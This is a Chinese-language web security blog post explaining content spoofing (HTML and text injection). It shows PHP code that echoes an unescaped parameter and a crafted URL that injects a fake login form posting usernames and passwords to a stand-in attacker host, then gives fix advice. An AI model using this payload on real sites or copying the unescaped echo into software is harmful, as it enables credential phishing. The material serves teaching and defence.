首页 > Web安全 > 浅谈内容欺骗漏洞
2013
08-11

浅谈内容欺骗漏洞

内容欺骗漏洞是指攻击者可以通过修改网页源代码,让访问者觉得是该功能或者该站点是可信合法的,来达到欺骗用户的目的。内容欺骗往往利用web服务的用户和组织之间建立的信任关系,意图是欺骗用户,达到钓鱼获取用户敏感信息的目的。

OWASP也将也被称为内容注射或者虚拟污损,内容欺骗漏洞攻击一般是和社会工程学配合使用,这种攻击是通过利用基于代码的脆弱性和用户的信赖。在某些情况下,攻击者利用该漏洞可能修改已建立网站的代码或连接,用户很难察觉其中的差异。

Web应用程序没有正确处理用户输入的参数,导致攻击者可以向web应用程序提交内容来修改参数。最危险的内容欺骗形式诸如动态HTML的表格表单填写提交,攻击者可以修改伪造表单,盗取用户的cookies,用户密码等等。

内容欺骗和XSS之间的差异

 

据OWASP,内容介绍和XSS是密切相关的,经管XSS是利用<script>或类似的技术来运行JS,而内容欺骗是利用其它技术来修改网页。XSS漏洞修复如果不完善,比如通过适当的编码,有时候也可以导致产生内容欺骗漏洞。

内容欺骗攻击示例:

可能的攻击场景:

攻击者发现一个站点,存在内容欺骗漏洞;

攻击者发送一个URL,在URL注入恶意的代码,然后发送邮件给网站的一些用户;

因为是受信任的域,用户不大注意的话,就会进行访问;

 

当受害者访问该页面时,注入的HTML渲染代码要求输入用户名和密码。

用户名和口令都将被发送到攻击者的服务器。

下面的PHP代码包含HTML注入漏洞:

Form.html

</pre>
<h1> INFOSEC INSTITUTE</h1>
<form action=”get”>
<b>Enter your name: </b>
<input type=”text” name=”name” />
<input type=”submit” value=”submit name” />
</form>
<pre>

显示效果如图:

浅谈内容欺骗漏洞 - 第1张  | 阿德马Web安全

 

Name.php

<!–?php $name = $_REQUEST [‘name’]; ?–></pre>
<h1>Welcome to Infosec Institute</h1>
<pre>
Hello, <!–?php echo $name; ?–>!
How can we help you ?

显示效果如图:
浅谈内容欺骗漏洞 - 第2张  | 阿德马Web安全

注意,使用get参数传递 name到namp.php,接下来通过代码注入来创建一个恶意的URL:

ocalhost/name.php?name=Bhavesh<form action=”http://attackers/log.php” method=”post”>Username<input type=”text” name=”user”><br>password<input type=”password” name=”pass”><input type=”submit”></form>

浅谈内容欺骗漏洞 - 第3张  | 阿德马Web安全

通过上面的链接请求,页面呈现的注入HTML代码显示一个登录表单。一旦受害者输入用户名和密码,将会被提交到攻击者的服务器log.php.

基于文本的注射

这是另外一种内容欺骗的方法,通过修改网站错误提示来欺骗用户,如下:

有效的URL类似这样

localhost/stock.php?id=1234&rec=We%20recommend%20you%20to%20sell%20these%20stocks

浅谈内容欺骗漏洞 - 第4张  | 阿德马Web安全

构造恶意的URL如下:

localhost/stock.php?id=1234&rec=We%20recommend%20you%20to%20sell%20these%20stocks

浅谈内容欺骗漏洞 - 第5张  | 阿德马Web安全

 内容欺骗漏洞修复建议:

验证用户输入的数据的范围,格式,类型,长度等
任何用户输入编码之后再通过Web应用程序的输出。
如果可能的话,使用的POST参数。

阿德马翻译,请尊重劳动成果!

 

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

浅谈内容欺骗漏洞》有 1 条评论

  1. hello world 说:

    👿 现在还用get方式提交的站很少了吧 不好利用啊

留下一个回复

你的email不会被公开。